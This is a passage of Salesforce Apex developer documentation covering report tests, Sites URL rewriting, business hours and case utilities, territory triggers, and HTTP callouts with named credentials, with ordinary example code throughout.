Grand Total		Sum of Amount	\$0.00	\$450,000.00	\$120,000.00	\$570,000.00	\$40,000.00	\$140,000.00	\$0.00	\$180,000.00	\$750,000.00

Fact Map Key Description

0!0	Total opportunity amount in the Prospecting stage in Q4 2010.
0_0!0_0	Total opportunity amount in the Prospecting stage in the Manufacturing sector in October 2010.
2_1!1_1	Total value of opportunities in the Value Proposition stage in the Technology sector in February 2011.
T!T	Grand total summary for the report.

Test Reports

Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.

The Reporting Apex methods don't run in system mode, they run in the context of the current user (also called the *context user* or the *logged-in user*). The methods have access to whatever the current user has access to.

In Apex tests, report runs always ignore the `SeeAllData` annotation, regardless of whether the annotation is set to `true` or `false`. This means that report results will include pre-existing data that the test didn't create. There is no way to disable the `SeeAllData` annotation for a report execution. To limit results, use a filter on the report.

Example: Create a Reports Test Class

The following example tests asynchronous and synchronous reports. Each method:

- Creates a new Opportunity object and uses it to set a filter on the report.
- Runs the report.
- Calls assertions to validate the data.

 **Note:** In Apex tests, asynchronous reports execute only after the test is stopped using the `Test.stopTest()` method.

```
@isTest
public class ReportsInApexTest{

    @isTest(SeeAllData='true')
    public static void testAsyncReportWithTestData() {

        List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
            DeveloperName = 'Closed_Sales_This_Quarter'];
        String reportId = (String)reportList.get(0).get('Id');

        // Create an Opportunity object.
        Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
            Probability = 95, CloseDate=system.today());
        insert opp;

        Reports.ReportMetadata reportMetadata =
            Reports.ReportManager.describeReport(reportId).getReportMetadata();

        // Add a filter.
        List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
        Reports.ReportFilter newFilter = new Reports.ReportFilter();
        newFilter.setColumn('OPPORTUNITY_NAME');
        newFilter.setOperator('equals');
        newFilter.setValue('ApexTestOpp');
        filters.add(newFilter);
        reportMetadata.setReportFilters(filters);

        Test.startTest();

        Reports.ReportInstance instanceObj =
            Reports.ReportManager.runAsyncReport(reportId,reportMetadata,false);
        String instanceId = instanceObj.getId();

        // Report instance is not available yet.
        Test.stopTest();
        // After the stopTest method, the report has finished executing
        // and the instance is available.

        instanceObj = Reports.ReportManager.getReportInstance(instanceId);
        System.assertEquals(instanceObj.getStatus(),'Success');
        Reports.ReportResults result = instanceObj.getReportResults();
```

```

Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');

System.assertEquals(1, (Decimal)grandTotal.getAggregates().get(1).getValue());
}

@isTest(SeeAllData='true')
public static void testSyncReportWithTestData() {

    // Create an Opportunity Object.
    Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
        Probability = 95, CloseDate=system.today());
    insert opp;

    List<Report> reportList = [SELECT Id,DeveloperName FROM Report where
        DeveloperName = 'Closed_Sales_This_Quarter'];
    String reportId = (String)reportList.get(0).get('Id');

    Reports.ReportMetadata reportMetadata =
        Reports.ReportManager.describeReport(reportId).getReportMetadata();

    // Add a filter.
    List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
    Reports.ReportFilter newFilter = new Reports.ReportFilter();
    newFilter.setColumn('OPPORTUNITY_NAME');
    newFilter.setOperator('equals');
    newFilter.setValue('ApexTestOpp');
    filters.add(newFilter);
    reportMetadata.setReportFilters(filters);

    Reports.ReportResults result =
        Reports.ReportManager.runReport(reportId,reportMetadata,false);
    Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');

    System.assertEquals(1, (Decimal)grandTotal.getAggregates().get(1).getValue());
}
}

```

Salesforce Sites

Salesforce Sites lets you build custom pages and Web applications by inheriting Lightning Platform capabilities including analytics, workflow and approvals, and programmable logic.

You can manage your Salesforce sites in Apex using the methods of the `Site` and `Cookie` classes.

Rewrite URLs for Salesforce Sites

Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages.

SEE ALSO:

[Apex Reference Guide: Site Class](#)

Rewrite URLs for Salesforce Sites

Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages.

For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:

`https://myblog.my.salesforce-sites.com/posts?id=003D000000Q0PcN`

With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your New Year's Eve posts might be: `https://myblog.my.salesforce-sites.com/posts/2019/12/31/auld-lang-syne`

You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's Day post, the link URL might show: `https://myblog.my.salesforce-sites.com/posts/2019/02/14/last-minute-roses`

To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your site.

To learn about the methods in the `Site.UrlRewriter` interface, see [UrlRewriter Interface](#).

Creating the Apex Class

The Apex class that you create must implement the provided interface `Site.UrlRewriter`. In general, it must have the following form:

```
global class yourClass implements Site.UrlRewriter {
    global PageReference mapRequestUrl(PageReference
        yourFriendlyUrl)
    global PageReference[] generateUrlFor(PageReference[]
        yourSalesforceUrls);
}
```

Consider the following restrictions and recommendations as you create your Apex class:

Class and Methods Must Be Global

The Apex class and methods must all be `global`.

Class Must Include Both Methods

The Apex class must implement both the `mapRequestUrl` and `generateUrlFor` methods. If you don't want to use one of the methods, simply have it return `null`.

Rewriting Only Works for Visualforce Site Pages

Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard pages, images, or other entities.

To rewrite URLs for links on your site's pages, use the `!URLFOR` function with the `$Page` merge variable. For example, the following links to a Visualforce page named `myPage`:

```
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>
```

 **Note:** Visualforce `<apex:form>` elements with `forceSSL="true"` aren't affected by the `urlRewriter`.

See the “Functions” appendix of the [Visualforce Developer's Guide](#).

Encoded URLs

The URLs you get from using the `Site.urlRewriter` interface are encoded. If you need to access the unencoded values of your URL, use the `urlDecode` method of the [EncodingUtil Class](#).

Restricted Characters

User-friendly URLs must be distinct from Salesforce URLs. URLs with a 3-character entity prefix or a 15- or 18-character ID aren't rewritten.

You can't use periods in your user-friendly or rewritten URLs, except for the `.well-known` path component, which can't be used at the end of a URL.

Restricted Strings

You can't use the following reserved strings as the first path component after a site's base URL in either a user-friendly URL or a rewritten URL. Some examples of the first path component after a site's base URL are `baseURL` in `https://MyDomainName.my.salesforce-sites.com/baseURL`, `https://MyDomainName.my.salesforce-sites.com/pathPrefix/baseURL`, `https://custom-domain/pathPrefix/baseURL`, and `https://MyDomainName.my.salesforce-sites.com/pathPrefix/baseURL/another/path`.

- `apexcomponent`
- `apexpages`
- `aura`
- `chatter`
- `chatteranswers`
- `chatterservice`
- `cometd`
- `ex`
- `faces`
- `flash`
- `flex`
- `google`
- `home`
- `id`
- `ideas`
- `idp`
- `images`
- `img`
- `javascript`
- `js`
- `knowledge`
- `lightning`

- login
- m
- mobile
- ncsphoto
- nui
- push
- resource
- saml
- sccommunities
- search
- secur
- services
- servlet
- setup
- sfc
- sfdc
- sfdc_ns
- sfsites
- site
- style
- vote
- WEB-INF
- widg

You can't use the following reserved strings at the end of a rewritten URL path:

- /aura
- /auraFW
- /auraResource
- /AuraJLoggingRPCService
- /AuraJLVRPCService
- /AuraJRPCService
- /dbcthumbnail
- /HelpAndTrainingDoor
- /htmldbcthumbnail
- /I
- /m
- /mobile

Relative Paths Only

The [PageReference.getUrl\(\)](#) method only returns the part of the URL immediately following the host name or site prefix (if any). For example, if your URL is `https://mycompany.my.salesforce-sites.com/sales/MyPage?id=12345`, where "sales" is the site prefix, only `/MyPage?id=12345` is returned.

You can't rewrite the domain or site prefix.

Unique Paths Only

You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is `https://acme.my.salesforce-sites.com/help`, where "help" is the site prefix, you can't point the URL to `help/page`. The resulting path, `https://acme.my.salesforce-sites.com/help/help/page`, would be returned instead as `https://acme.my.salesforce-sites.com/help/page`.

Query in Bulk

For better performance with page generation, perform tasks in bulk rather than one at a time for the `generateUrlFor` method.

Enforce Field Uniqueness

Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve performance.

Adding URL Rewriting to a Site

Once you've created the URL rewriting Apex class, follow these steps to add it to your site:

1. From Setup, enter *Sites* in the **Quick Find** box, then select **Sites**.
2. Click **New** or click **Edit** for an existing site.
3. On the Site Edit page, choose an Apex class for **URL Rewriter Class**.
4. Click **Save**.



Note: If you have URL rewriting enabled on your site, all `PageReferences` are passed through the URL rewriter. `PageReferences` with `redirect` set to `true` and a `redirectCode` other than 0 return redirected URLs instead of rewritten URLs.

Code Example

In this example, we have a simple site consisting of two Visualforce pages: `mycontact` and `myaccount`. Be sure you have "Read" permission enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link to the parent account, plus contact details.

Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the "before" figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the "after" figure.

The Apex class used to rewrite the URLs for these pages is shown in [Example URL Rewriting Apex Class](#), with detailed comments.

Example Site Pages

This section shows the Visualforce for the account and contact pages used in this example.

The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should be named `myaccount`.

```
<apex:page standardController="Account">
    <apex:detail relatedList="false"/>
</apex:page>
```

The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the `URLFOR` function and the `$Page` merge variable; the second simply provides the contact details. Notice that the Visualforce page doesn't contain any rewriting logic except `URLFOR`. This page should be named `mycontact`.

```
<apex:page standardController="contact">
    <apex:pageBlock title="Parent Account">
```

```

        <apex:outputLink value="{!URLFOR($Page.mycontact,null,
            [id=contact.account.id])}">{!contact.account.name}
        </apex:outputLink>
    </apex:pageBlock>
    <apex:detail relatedList="false"/>
</apex:page>

```

Example URL Rewriting Apex Class

The Apex class used as the URL rewriter for the site uses the `mapRequestUrl` method to map incoming URL requests to the right Salesforce record. It also uses the `generateUrlFor` method to rewrite the URL for the link to the account page in a more user-friendly form.

```

global with sharing class myRewriter implements Site.UrlRewriter {

    //Variables to represent the user-friendly URLs for
    //account and contact pages
    String ACCOUNT_PAGE = '/myaccount/';
    String CONTACT_PAGE = '/mycontact/';
    //Variables to represent my custom Visualforce pages
    //that display account and contact information
    String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id=';
    String CONTACT_VISUALFORCE_PAGE = '/mycontact?id=';

    global PageReference mapRequestUrl(PageReference
        myFriendlyUrl){
        String url = myFriendlyUrl.getUrl();

        if(url.startsWith(CONTACT_PAGE)){
            //Extract the name of the contact from the URL
            //For example: /mycontact/Ryan returns Ryan
            String name = url.substring(CONTACT_PAGE.length(),
                url.length());

            //Select the ID of the contact that matches
            //the name from the URL
            Contact con = [SELECT Id FROM Contact WHERE Name =:
                name LIMIT 1];

            //Construct a new page reference in the form
            //of my Visualforce page
            return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id);
        }
        if(url.startsWith(ACCOUNT_PAGE)){
            //Extract the name of the account
            String name = url.substring(ACCOUNT_PAGE.length(),
                url.length());

            //Query for the ID of an account with this name
            Account acc = [SELECT Id FROM Account WHERE Name =:name LIMIT 1];

            //Return a page in Visualforce format
            return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id);
        }
    }
}

```

```

        //If the URL isn't in the form of a contact or
        //account page, continue with the request
        return null;
    }
    global List<PageReference> generateUrlFor(List<PageReference>
        mySalesforceUrls){
        //A list of pages to return after all the links
        //have been evaluated
        List<PageReference> myFriendlyUrls = new List<PageReference>();

        //a list of all the ids in the urls
        List<id> accIds = new List<id>();

        // loop through all the urls once, finding all the valid ids
        for(PageReference mySalesforceUrl : mySalesforceUrls){
            //Get the URL of the page
            String url = mySalesforceUrl.getUrl();

            //If this looks like an account page, transform it
            if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
                //Extract the ID from the query parameter
                //and store in a list
                //for querying later in bulk.
                String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(),
                    url.length());
                accIds.add(id);
            }
        }

        // Get all the account names in bulk
        List <account> accounts = [SELECT Name FROM Account WHERE Id IN :accIds];

        // make the new urls
        Integer counter = 0;

        // it is important to go through all the urls again, so that the order
        // of the urls in the list is maintained.
        for(PageReference mySalesforceUrl : mySalesforceUrls) {

            //Get the URL of the page
            String url = mySalesforceUrl.getUrl();

            if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
                myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));

                counter++;
            } else {
                //If this doesn't start like an account page,
                //don't do any transformations
                myFriendlyUrls.add(mySalesforceUrl);
            }
        }

        //Return the full list of pages

```




```
    return myFriendlyUrls;  
}  
  
}
```

Before and After Rewriting

Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based URLs in the first figure, and the user-friendly URLs in the second.


Site URLs Before Rewriting



The numbered elements in this figure are:

1. The original URL for the contact page before rewriting
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser's status bar

Site URLs After Rewriting



The numbered elements in this figure are:

1. The rewritten URL for the contact page after rewriting
2. The link to the parent account page from the contact page
3. The rewritten URL for the link to the account page after rewriting, shown in the browser's status bar

Support Classes

Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.

Working with Business Hours

Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple time zones.

This example finds the time one business hour from `startTime`, returning the `Datetime` in the local time zone. It gets the default business hours by querying `BusinessHours`. Also, it calls the `BusinessHours.add` method.

```
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);

// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);
```

This example finds the time one business hour from `startTime`, returning the `Datetime` in GMT:

```
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
```

```
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);

// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);
```

The next example finds the difference between startTime and nextTime:

```
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];

// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);

// Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone.
Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8);

// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);
```

Working with Cases

Incoming and outgoing email messages can be associated with their corresponding cases using the `Cases` class `getCaseIdFromEmailThreadId` method. This method is used with Email-to-Case, which is an automated process that turns emails received from customers into customer service cases.

The following example uses an email thread ID to retrieve the related case ID.

```
public class GetCaseIdController {

    public static void getCaseIdSample() {
        // Get email thread ID
        String emailThreadId = '_00Dxx1gEW._500xxYktg';
        // Call Apex method to retrieve case ID from email thread ID
        ID caseId = Cases.getCaseIdFromEmailThreadId(emailThreadId);
    }
}
```

SEE ALSO:

[Apex Reference Guide: BusinessHours Class](#)

[Apex Reference Guide: Cases Class](#)

Territory Management 2.0

With trigger support for the `Territory2` and `UserTerritory2Association` standard objects, you can automate actions and processes related to changes in these territory management records.

Sample Trigger for Territory2

This example trigger fires after Territory2 records have been created or deleted. This example trigger assumes that an organization has a custom field called `TerritoryCount__c` defined on the `Territory2Model` object to track the net number of territories in each territory model. The trigger code increments or decrements the value in the `TerritoryCount__c` field each time a territory is created or deleted.

```
trigger maintainTerritoryCount on Territory2 (after insert, after delete) {
    // Track the effective delta for each model
    Map<Id, Integer> modelMap = new Map<Id, Integer>();
    for(Territory2 terr : (Trigger.isInsert ? Trigger.new : Trigger.old)) {
        Integer offset = 0;
        if(modelMap.containsKey(terr.territory2ModelId)) {
            offset = modelMap.get(terr.territory2ModelId);
        }
        offset += (Trigger.isInsert ? 1 : -1);
        modelMap.put(terr.territory2ModelId, offset);
    }
    // We have a custom field on Territory2Model called TerritoryCount__c
    List<Territory2Model> models = [SELECT Id, TerritoryCount__c FROM
                                    Territory2Model WHERE Id IN :modelMap.keySet()];
    for(Territory2Model tm : models) {
        // In case the field is not defined with a default of 0
        if(tm.TerritoryCount__c == null) {
            tm.TerritoryCount__c = 0;
        }
        tm.TerritoryCount__c += modelMap.get(tm.Id);
    }
    // Bulk update the field on all the impacted models
    update(models);
}
```

Sample Trigger for UserTerritory2Association

This example trigger fires after `UserTerritory2Association` records have been created. This example trigger sends an email notification to the Sales Operations group letting them know that users have been added to territories. It identifies the user who added users to territories. Then, it identifies each added user along with which territory the user was added to and which territory model the territory belongs to.

```
trigger notifySalesOps on UserTerritory2Association (after insert) {
    // Query the details of the users and territories involved
    List<UserTerritory2Association> utaList = [SELECT Id, User.FirstName, User.LastName,

        Territory2.Name, Territory2.Territory2Model.Name
        FROM UserTerritory2Association WHERE Id IN :Trigger.New];

    // Email message to send
    Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
    mail.setToAddresses(new String[]{'salesOps@acme.com'});
    mail.setSubject('Users added to territories notification');

    // Build the message body
    List<String> msgBody = new List<String>();
    String addedToTerrStr = '{0}, {1} added to territory {2} in model {3} \n';
```

```

msgBody.add('The following users were added to territories by ' +
    UserInfo.getFirstName() + ', ' + UserInfo.getLastName() + '\n');
for(UserTerritory2Association uta : utaList) {
    msgBody.add(String.format(addedToTerrStr,
        new String[]{uta.User.FirstName, uta.User.LastName,
            uta.Territory2.Name, uta.Territory2.Territory2Model.Name}));
}

// Set the message body and send the email
mail.setPlainTextBody(String.join(msgBody, ''));
Messaging.sendEmail(new Messaging.Email[] { mail });
}

```

Integration and Apex Utilities

Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data security, and encoding. A general-purpose utility for regular expressions with text strings is also provided.

Invoking Callouts Using Apex

JSON Support

JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of serialized JSON content.

XML Support

Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.

ZIP Support

Take advantage of a native Apex Zip library to create and extract ZIP archive files by using the class methods in the `Compression` namespace.

Securing Your Data

You can secure your data by using the methods provided by the `Crypto` class.

Encoding Your Data

You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the `EncodingUtil` class.

Using Patterns and Matchers

Apex provides patterns and matchers that enable you to search text using regular expressions.

Invoking Callouts Using Apex

An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending a HTTP request from Apex code and then receiving the response. Apex provides integration with Web services that utilize SOAP and WSDL, or HTTP services (RESTful services).



Note: Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce prevents calls to unauthorized network addresses.

If the callout specifies a named credential as the endpoint, you don't need to configure remote site settings. A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials, see "Define a Named Credential" in the Salesforce Help.

To learn more about the types of callouts, see:

- [SOAP Services: Defining a Class from a WSDL Document](#) on page 615
- [Invoking HTTP Callouts](#) on page 628
- [Asynchronous Callouts for Long-Running Requests](#) on page 640



Tip: Callouts enable Apex to invoke external web or HTTP services. [Apex Web services](#) allow an external application to invoke Apex methods through Web services.

1. [Adding Remote Site Settings](#)
2. [Named Credentials as Callout Endpoints](#)

A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn't have to. You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named credential.

3. [SOAP Services: Defining a Class from a WSDL Document](#)
4. [Invoking HTTP Callouts](#)
5. [Using Certificates](#)
6. [Callout Limits and Limitations](#)
7. [Make Long-Running Callouts with Continuations](#)

Use asynchronous callouts to make long-running requests from a Visualforce page or a Lightning component to an external Web service and process responses in callback methods.

Adding Remote Site Settings

Before any Apex callout can call an external site, that site must be registered in the Remote Site Settings page, or the callout fails. Salesforce prevents calls to unauthorized network addresses.



Note: If the callout specifies a named credential as the endpoint, you don't need to configure remote site settings. A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials, see "Define a Named Credential" in the Salesforce Help.

To add a remote site setting:

1. From Setup, enter *Remote Site Settings* in the Quick Find box, then select **Remote Site Settings**.
2. Click **New Remote Site**.
3. Enter a descriptive term for the *Remote Site Name*.
4. Enter the URL for the remote site.
5. Optionally, enter a description of the site.
6. Click **Save**.



Tip: For best performance, verify that your remote HTTPS encrypted sites have OCSP (Online Certificate Status Protocol) stapling turned on.

Named Credentials as Callout Endpoints

A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn't have to. You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named credential.

Named Credentials also include an `OutboundNetworkConnection` field that you can use to route callouts through a private connection. By separating the endpoint URL and authentication from the callout definition, named credentials make callouts easier to maintain. For example, if an endpoint URL changes, you update only the named credential. All callouts that reference the named credential simply continue to work.

If you have multiple orgs, you can create a named credential with the same name but with a different endpoint URL in each org. You can then package and deploy—on all the orgs—one callout definition that references the shared name of those named credentials. For example, the named credential in each org can have a different endpoint URL to accommodate differences in development and production environments. If an Apex callout specifies the shared name of those named credentials, the Apex class that defines the callout can be packaged and deployed on all those orgs without programmatically checking the environment.

To reference a named credential from a callout definition, use the named credential URL. A named credential URL contains the scheme `callout:`, the name of the named credential, and an optional path. For example:

`callout:My_Named_Credential/some_path`.

You can append a query string to a named credential URL. Use a question mark (?) as the separator between the named credential URL and the query string. For example: `callout:My_Named_Credential/some_path?format=json`.



Example: In the following Apex code, a named credential and an appended path specify the callout's endpoint.

```
HttpRequest req = new HttpRequest();
req.setEndpoint('callout:My_Named_Credential/some_path');
req.setMethod('GET');
Http http = new Http();
HttpResponse res = http.send(req);
System.debug(res.getBody());
```

The referenced named credential specifies the endpoint URL and an external credential that specifies authentication settings.

SETUP > NAMED CREDENTIALS

My Named Credential

EditDelete

Label

My Named Credential

Name

My_Named_Credential

URL

https://my_example_endpoint.com

Enabled for Callouts

☒

Authentication

External Credential

Sample External Credential

Client Certificate

SelfSigned%%%

Callout Options

Generate Authorization Header

☒

Allow Formulas in HTTP Header

☒

Allow Formulas in HTTP Body

☒

Outbound Network Connection

Managed Package Access

Created By Namespace

The Apex code remains the same no matter what authentication you use. The authentication settings differ in the external credential, which references an authentication provider that's defined in the org.

SETUP > NAMED CREDENTIALS

Sample External Credential

EditDelete

Label

Sample External Credential

Name

Sample_External_Credential

Authentication Protocol

OAuth 2.0

Authentication Flow Type

Browser Flow

Scope

Authentication Provider

salesforce@@@

Managed Package Access

Created By Namespace

Related Named Credentials

Label	Name	URL
My Named Credential	My_Named_Credential	https://my_example_endpoint.com

Principals

New

Seq...	Parameter Name	Identity Type	S	Authentic...	Actions
1	PermSetOne@@@	Per User Principal		Not Configured	
500	PermSetTwo####	Named Principal		Not Configured	
1,000	SamplePermissionSet\$\$\$\$	Named Principal		Not Configured	

In contrast, let's see what the Apex code looks like without a named credential. Notice that the code becomes more complex to handle authentication, even if we stick with basic password authentication. Coding OAuth is even more complex and is an ideal use case for named credentials.

```
HttpRequest req = new HttpRequest();
req.setEndpoint('https://my_endpoint.example.com/some_path');
req.setMethod('GET');

// Because we didn't set the endpoint as a named credential,
// our code has to specify:
// - The required username and password to access the endpoint
// - The header and header information

String username = 'myname';
String password = 'mypwd';

Blob headerValue = Blob.valueOf(username + ':' + password);
String authorizationHeader = 'BASIC ' +
EncodingUtil.base64Encode(headerValue);
req.setHeader('Authorization', authorizationHeader);

// Create a new http object to send the request object
// A response object is generated as a result of the request

Http http = new Http();
HttpResponse res = http.send(req);
System.debug(res.getBody());
```

1. [Custom Headers and Bodies of Apex Callouts That Use Named Credentials](#)

Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable this option. Your Apex code can also use merge fields to construct each callout's HTTP header and body.

2. [Merge Fields for Apex Callouts That Use Named Credentials](#)

To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge fields in your Apex code.

SEE ALSO:

[Invoking Callouts Using Apex](#)

[Salesforce Help: Named Credentials](#)

[Salesforce Help: Authentication Providers](#)

[Named Credentials Developer Guide: Get Started with Named Credentials](#)

[Named Credentials Developer Guide: Named Credential API Links](#)

Custom Headers and Bodies of Apex Callouts That Use Named Credentials

Salesforce generates a standard authorization header for each callout to a named-credential-defined endpoint, but you can disable this option. Your Apex code can also use merge fields to construct each callout's HTTP header and body.

This flexibility enables you to use named credentials in special situations. For example, some remote endpoints require security tokens or encrypted credentials in request headers. Some remote endpoints expect usernames and passwords in XML or JSON message bodies. Customize the callout headers and bodies as needed.

The Salesforce admin must set up the named credential to allow Apex code to construct headers or use merge fields in HTTP headers or bodies. The following table describes these callout options for the named credential.

Field	Description
Generate Authorization Header	By default, Salesforce generates an authorization header and applies it to each callout that references the named credential. Deselect this option only if one of the following statements applies. - The remote endpoint doesn't support authorization headers. - The authorization headers are provided by other means. For example, in Apex callouts, the developer can have the code construct a custom authorization header for each callout. This option is required if you reference the named credential from an external data source.
Allow Merge Fields in HTTP Header	In each Apex callout, the code specifies how the HTTP header and request body are constructed. For example, the Apex code can set the value of a cookie in an authorization header. These options enable the Apex code to use merge fields to populate the HTTP header and request body with org data when the callout is made. These options aren't available if you reference the named credential from an external data source.
Allow Merge Fields in HTTP Body	

SEE ALSO:

[Merge Fields for Apex Callouts That Use Named Credentials](#)

[Salesforce Help: Named Credentials](#)

Merge Fields for Apex Callouts That Use Named Credentials

To construct the HTTP headers and request bodies of callouts to endpoints that are specified as named credentials, use these merge fields in your Apex code.

Merge Field	Description
<code>{!\$Credential.Username}</code>	Username and password of the running user. Available only if the named credential uses password authentication. <pre>// non-standard authentication req.setHeader('X-Username', '!\$Credential.Username'); req.setHeader('X-Password', '!\$Credential.Password');</pre>
<code>{!\$Credential.Password}</code>	

Merge Field	Description
<code>{!\$Credential.OAuthToken}</code>	OAuth token of the running user. Available only if the named credential uses OAuth authentication. <pre>req.setHeader('Authorization', '{!\$Credential.OAuthToken}');</pre>
<code>{!\$Credential.AuthorizationMethod}</code>	Valid values depend on the authentication protocol of the named credential. - Basic—password authentication - Bearer—OAuth 2.0 - null—no authentication
<code>{!\$Credential.AuthorizationHeaderValue}</code>	Valid values depend on the authentication protocol of the named credential. Base-64 encoded username and password—password authentication OAuth token—OAuth 2.0 - null—no authentication
<code>{!\$Credential.OAuthConsumerKey}</code>	Consumer key. Available only if the named credential uses OAuth authentication.

When you use merge fields to construct HTTP headers and request bodies, keep these considerations in mind.

- To allow Apex code to use merge fields to populate the HTTP header and request body with org data when the callout is made, a Salesforce admin must enable **Allow Merge Fields in HTTP Header** and **Allow Merge Fields in HTTP Body** on the named credential. See [Create or Edit a Named Credential](#) in Salesforce Help.
- To access or input custom headers, use Connect REST API. See [Named Credentials Resources](#) in the Connect REST API Developer Guide.
- When you use these merge fields in HTTP request bodies of callouts, you can apply the `HTMLENCODE` formula function to escape special characters. The formula must start with `HTMLENCODE`, and other formula functions aren't supported. `HTMLENCODE` can't be used on merge fields in HTTP headers. This example escapes special characters that are in the credentials.

```
req.setBody('Username:{!HTMLENCODE($Credential.Username)}')
req.setBody('Password:{!HTMLENCODE($Credential.Password)}')
```

- When you use these merge fields in SOAP API calls, OAuth access tokens aren't refreshed.

SEE ALSO:

[Custom Headers and Bodies of Apex Callouts That Use Named Credentials](#)

[Named Credentials as Callout Endpoints](#)

[Knowledge Article: Named credential OAuth token doesn't get automatically refreshed with Salesforce SOAP API endpoint](#)

SOAP Services: Defining a Class from a WSDL Document

Classes can be automatically generated from a WSDL document that is stored on a local hard drive or network. Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their Apex code.

 **Note:** Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web services only when necessary.

To generate an Apex class from a WSDL:

1. In the application, from Setup, enter *Apex Classes* in the *Quick Find* box, then select **Apex Classes**.
2. Click **Generate from WSDL**.
3. Click **Browse** to navigate to a WSDL document on your local hard drive or network, or type in the full path. This WSDL document is the basis for the Apex class you are creating.

 **Note:** The WSDL document that you specify might contain a SOAP endpoint location that references an outbound port.

For security reasons, Salesforce restricts the outbound ports you can specify to one of the following:

- 80: This port only accepts HTTP connections.
 - 443: This port only accepts HTTPS connections.
 - 1024–66535 (inclusive): These ports accept HTTP or HTTPS connections.
4. Click **Parse WSDL** to verify the WSDL document contents. The application generates a default class name for each namespace in the WSDL document and reports any errors. Parsing fails if the WSDL contains schema types or constructs that aren't supported by Apex classes, or if the resulting classes exceed the 1 million character limit on Apex classes. For example, the Salesforce SOAP API WSDL cannot be parsed.
 5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the same class name for each namespace, Apex classes can be no more than 1 million characters total.
